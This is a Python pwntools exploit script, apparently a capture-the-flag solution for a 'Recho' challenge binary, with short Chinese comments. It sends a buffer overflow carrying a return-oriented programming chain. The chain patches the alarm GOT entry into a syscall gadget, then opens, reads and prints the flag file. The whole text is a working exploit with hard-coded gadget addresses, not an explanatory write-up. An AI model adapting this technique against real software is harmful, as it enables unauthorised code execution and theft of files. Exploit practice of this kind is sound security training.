from LibcSearcher import *
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

# 本地起的 网络服务不得行，可以用于调试，如果出现问题，可以尝试 process 起服务
# io  = remote('192.168.95.131',10001)
# io = remote('111.200.241.244',58569)
io = process("./773a2d87b17749b595ffb937b4d29936")

elf = ELF('./773a2d87b17749b595ffb937b4d29936')
printf_got_addr  = elf.got["printf"]
printf_plt_addr  = elf.plt["printf"]
read_plt_addr    = elf.plt["read"]
write_plt_addr   = elf.plt["write"]
main_addr        = elf.symbols["main"]
alarm_got_addr   = elf.got["alarm"]
alarm_plt_addr   = elf.plt["alarm"]
pop_rdi_ret_addr = 0x00000000004008a3
flag_addr        = 0x601058
pop_rax_ret_addr = 0x00000000004006fc
pop_rdx_ret_addr = 0x00000000004006fe
pop_rdi_ret_addr = 0x00000000004008a3
pop_rsi_r15_ret_addr = 0x00000000004008a1
add_rdi_ret_addr = 0x000000000040070d
open_syscall_num = 0x2
READ_ONLY = 0x0
syscall_offset = 0x5
save_flag_data_addr = 0x60106A

pause()

io.recvuntil(b"Welcome to Recho server!")

io.sendline(b"500")
# syscall -> open("flag",0)
payload = flat(b"A"*0x38, pop_rdi_ret_addr, alarm_got_addr,pop_rax_ret_addr,0x5)
payload += flat(add_rdi_ret_addr,pop_rax_ret_addr,0x2,pop_rdi_ret_addr,flag_addr)
payload += flat(pop_rsi_r15_ret_addr,0x0,0x0,alarm_plt_addr)

# read(3 ,data,50)  因为 open 执行完返回的结果 也就是文件描述符 是放在rax 中。
payload += flat(pop_rdi_ret_addr,3,pop_rsi_r15_ret_addr,save_flag_data_addr,0x0,pop_rdx_ret_addr,50,read_plt_addr)

# printf(data)
# payload += flat(pop_rdi_ret_addr,save_flag_data_addr,printf_plt_addr,main_addr)
payload += flat(pop_rdi_ret_addr,0x1,pop_rsi_r15_ret_addr,save_flag_data_addr,0x0,pop_rdx_ret_addr,0x50,write_plt_addr,main_addr)

pause()
io.sendline(payload)
io.recv()
io.shutdown("send")
print(io.recv())
print(io.recv())
pause()
